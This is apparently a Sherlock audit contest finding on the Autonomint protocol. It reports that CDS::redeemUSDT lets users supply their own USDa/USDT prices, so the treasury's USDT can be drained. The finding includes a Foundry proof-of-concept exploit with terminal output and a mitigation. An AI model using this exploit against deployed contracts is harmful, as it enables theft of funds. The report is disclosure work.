Spare Lemonade Hedgehog

High

# Arbitrary Usda/Usdt Price Manipulation Allows Usdt Drain

### Summary

Users can mint usda and then redeem usdt in the protocol. `CDS::redeemUSDT` ”*acts as dex, where the user can swap usda for usdt”, but it also lets the user choose the price of usda in relation to usdt, which can lead to user giving a totally arbitrary value, and draining all the usdt in treasury.*

### Root Cause

## Details

The problem lies in `CDSLib::redeemUSDT` function, that’s being called from `CDS::redeemUSDT`. In the former, the ratio between usda/usdt is calculated as follows:

```solidity
        // calculate the USDT USDa ratio
        uint128 usdtAmount = ((usdaPrice * usdaAmount) / usdtPrice);
```

The problem is, `usdaPrice` and `usdtPrice` are passed in the params, by user, without any protection. So, the attacker can just deposit 1 usda, specify the price of usda as a large amount of value, and the price of usdt as a very small amount of value. Following the above calculation, the usdtAmount will be very large.

The attacker only needs to pay the native fee in this case, which is a very small amount compared to the gains they acquire.

To understand the functions better, here they are:

`CDS::redeemUSDT` is where the attacker decides on the prices arbitrarily:

https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/CDS.sol#L506

```solidity
  /**
     * @dev acts as dex, where the user can swap usda for usdt.
     * @param usdaAmount usda amount to deposit
     * @param usdaPrice usda price
     * @param usdtPrice usdt price
     */
    function redeemUSDT(
        uint128 usdaAmount,
        uint64 usdaPrice,
        uint64 usdtPrice
    )
        external
        payable
        nonReentrant
        whenNotPaused(IMultiSign.Functions(6)) //* functions 6 is RedeemUSDT
    {
        burnedUSDaInRedeem = CDSLib.redeemUSDT(
            Interfaces(treasury, globalVariables, usda, usdt, borrowing, CDSInterface(address(this))),
            burnedUSDaInRedeem,
            usdaAmount,
            usdaPrice,
            usdtPrice
        );

        // getting options since,the src don't know the dst state
        bytes memory _options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(400000, 0);

        // calculting fee
        MessagingFee memory fee =
            globalVariables.quote(IGlobalVariables.FunctionToDo(1), IBorrowing.AssetName(0), _options, false);

        // Calling Omnichain send function
        globalVariables.send{value: fee.nativeFee}(
            IGlobalVariables.FunctionToDo(1), IBorrowing.AssetName(0), fee, _options, msg.sender
        );
    }
```

`CDSLib::redeemUSDT` is called with the params passed above, usdt price is arbitrarily calculated and sent to the user/attacker:

https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/lib/CDSLib.sol#L404

```solidity
 /**
     * @dev acts as dex usda to usdt
     * @param usdaAmount usda amount to deposit
     * @param usdaPrice usda price
     * @param usdtPrice usdt price
     */
    function redeemUSDT(
        CDSInterface.Interfaces memory interfaces,
        uint256 burnedUSDaInRedeem,
        uint128 usdaAmount,
        uint64 usdaPrice,
        uint64 usdtPrice
    ) external returns (uint256) {
        // CHeck the usdaAmount is non zero
        if (usdaAmount == 0) {
            revert CDSInterface.CDS_NeedsMoreThanZero();
        }
        // Check the user has enough usda balance
        if (interfaces.usda.balanceOf(msg.sender) < usdaAmount) {
            revert CDSInterface.CDS_Insufficient_USDa_Balance();
        }
        // Increment burnedUSDaInRedeem
        burnedUSDaInRedeem += usdaAmount;
        // GET the omnichain data
        IGlobalVariables.OmniChainData memory omniChainData = interfaces.globalVariables.getOmniChainData();
        // Increment burnedUSDaInRedeem
        omniChainData.burnedUSDaInRedeem += usdaAmount;
        // burn usda
        bool transfer = interfaces.usda.burnFromUser(msg.sender, usdaAmount);
        if (!transfer) {
            revert CDSInterface.CDS_TransferFailed(IBorrowing.AssetName.USDa);
        }
        //@audit don't let users calculate the ratio by letting them pass the params themselves...
        // calculate the USDT USDa ratio
        uint128 usdtAmount = ((usdaPrice * usdaAmount) / usdtPrice);

        interfaces.treasury.approveTokens(IBorrowing.AssetName.TUSDT, address(interfaces.cds), usdtAmount);
        // Transfer usdt to user
        bool success = interfaces.usdt.transferFrom(address(interfaces.treasury), msg.sender, usdtAmount);
        if (!success) {
            revert CDSInterface.CDS_TransferFailed(IBorrowing.AssetName.TUSDT);
        }

        interfaces.globalVariables.setOmniChainData(omniChainData);

        return burnedUSDaInRedeem;
    }
```

Refer to the POC for a working example.

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

_No response_

### Impact

Attacker can drain usdt with little cost.

### PoC

Create a new MyTest.t.sol file in test/foundry, and paste the following inside, then run `forge test --match-contract MyTest --fork-url https://1rpc.io/mode -vv`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {Test, StdUtils, console} from "forge-std/Test.sol";
import {BorrowingTest} from "../../contracts/TestContracts/CopyBorrowing.sol";
import {Treasury} from "../../contracts/Core_logic/Treasury.sol";
import {Options} from "../../contracts/Core_logic/Options.sol";
import {MultiSign} from "../../contracts/Core_logic/multiSign.sol";
import {CDSTest} from "../../contracts/TestContracts/CopyCDS.sol";
import {TestUSDaStablecoin} from "../../contracts/TestContracts/CopyUSDa.sol";
import {TestABONDToken} from "../../contracts/TestContracts/Copy_Abond_Token.sol";
import {TestUSDT} from "../../contracts/TestContracts/CopyUsdt.sol";
import {HelperConfig} from "../../scripts/script/HelperConfig.s.sol";
import {DeployBorrowing} from "../../scripts/script/DeployBorrowing.s.sol";
import {State} from "../../contracts/interface/IAbond.sol";
import {IBorrowing} from "../../contracts/interface/IBorrowing.sol";
import {CDSInterface} from "../../contracts/interface/CDSInterface.sol";
import {ITreasury} from "../../contracts/interface/ITreasury.sol";
import {IOptions} from "../../contracts/interface/IOptions.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MessagingFee} from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/OApp.sol";
import {OptionsBuilder} from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/libs/OptionsBuilder.sol";
import {IGlobalVariables} from "../../contracts/interface/IGlobalVariables.sol";
import {IWrsETH} from "../../contracts/interface/IWrsETH.sol";
import {BorrowLib} from "../../contracts/lib/BorrowLib.sol";
import {IUSDa} from "../../contracts/interface/IUSDa.sol";
import {CDSLib} from "../../contracts/lib/CDSLib.sol";

contract MyTest is Test {
    DeployBorrowing deployer;
    DeployBorrowing.Contracts contractsA;
    DeployBorrowing.Contracts contractsB;

    address borrowLibrary;

    address ethUsdPriceFeed;

    address public USER = makeAddr("user");
    address public owner = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address public owner1 = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
    address public aTokenAddress = 0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8; // 0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8;
    address public cometAddress = 0xA17581A9E3356d9A858b789D68B4d866e593aE94; // 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;

    uint256 public ETH_AMOUNT = 1 ether;
    uint256 public STARTING_ETH_BALANCE = 100 ether;
    uint64 public ETH_PRICE = 1000e2;
    uint256 public ETH_VOLATILITY = 50622665;

    using OptionsBuilder for bytes;

    MessagingFee globalFee;
    MessagingFee globalFee2;
    MessagingFee globalFee3;

    using BorrowLib for *;
    using CDSLib for *;

    function setUp() public {
        deployer = new DeployBorrowing();
        (contractsA, contractsB) = deployer.run();
        vm.deal(USER, 1 ether);
        vm.deal(owner, STARTING_ETH_BALANCE);
        feeSetup();
    }

    function feeSetup() public {
        bytes memory options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(400000, 0);
        bytes memory options2 = OptionsBuilder.newOptions().addExecutorLzReceiveOption(1200000, 0);
        bytes memory options3 = OptionsBuilder.newOptions().addExecutorLzReceiveOption(12500000, 0);

        globalFee = contractsA.global.quote(
            IGlobalVariables.FunctionToDo.UPDATE_GLOBAL, IBorrowing.AssetName.DUMMY, options, false
        );

        globalFee2 =
            contractsA.global.quote(IGlobalVariables.FunctionToDo(3), IBorrowing.AssetName.DUMMY, options2, false);

        globalFee3 =
            contractsA.global.quote(IGlobalVariables.FunctionToDo(5), IBorrowing.AssetName.DUMMY, options3, false);
    }

    function test_take_more_usdt() public {
        //mint some usdt to treasury
        contractsA.usdt.mint(address(contractsA.treasury), 10000 ether);

        //mint 10 usda to user
        contractsA.usda.mint(address(USER), 10);

        vm.startPrank(USER);

        //eth balance of user
        uint256 ethBalance = address(USER).balance;
        console.log("eth balance of user", ethBalance);

        //get usda balance of user
        uint256 usdaBalance = contractsA.usda.balanceOf(address(USER));
        console.log("usda balance of user", usdaBalance);

        //get usdt balance of user
        uint256 usdtBalance = contractsA.usdt.balanceOf(address(USER));
        console.log("usdt balance of user", usdtBalance);

        //approve usda to cds
        contractsA.usda.approve(address(contractsA.cds), usdaBalance);

        console.log("Allowance:", contractsA.usda.allowance(USER, address(contractsA.cds)));

        // Provide sufficient ETH for the native fee
        uint256 requiredFee = 5420504000000000; // Replace with dynamic fee if available

        /**
         * remember that
         * function redeemUSDT(
         *     uint128 usdaAmount,
         *     uint64 usdaPrice,
         *     uint64 usdtPrice
         * )
         *    external
         *     payable
         */
        //user calls CDS and redeems more usdt by giving arbitrary params
        //here we're exchanging 1 usda that's priced at 1 ether, and usdt priced at 1 wei
        contractsA.cds.redeemUSDT{value: requiredFee}(1, 1 ether, 1 wei);

        //get usda balance of user after redeem
        uint256 usdaBalanceAfterRedeem = contractsA.usda.balanceOf(address(USER));
        console.log("usda balance of user after redeem", usdaBalanceAfterRedeem);

        //get usdt balance of user after redeem
        uint256 usdtBalanceAfterRedeem = contractsA.usdt.balanceOf(address(USER));
        console.log("usdt balance of user after redeem", usdtBalanceAfterRedeem);

        //eth balance of user after paying the native fee
        uint256 ethBalanceAfterPayingFee = address(USER).balance;
        console.log("eth balance of user after paying fee", ethBalanceAfterPayingFee);

        vm.stopPrank();
    }
}

```

Terminal output:

```solidity
Ran 1 test for test/foundry/MyTest.t.sol:MyTest
[PASS] test_take_more_usda() (gas: 911019)
Logs:
  eth balance of user 1000000000000000000
  usda balance of user 10
  usdt balance of user 0
  Allowance: 10
  usda balance of user after redeem 9
  usdt balance of user after redeem 1000000000000000000
  eth balance of user after paying fee 994579496000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.95s (234.58ms CPU time)

Ran 1 test suite in 21.08s (19.95s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

```

Here, the user got 1000000000000000000 amount of usdt just by giving 1 usda and paying the native fee. Solid profit, whatever amount of usdt in the treasury can be easily drained in this way.

### Mitigation

Do not let the users decide the calculation price of usda/usdt pair.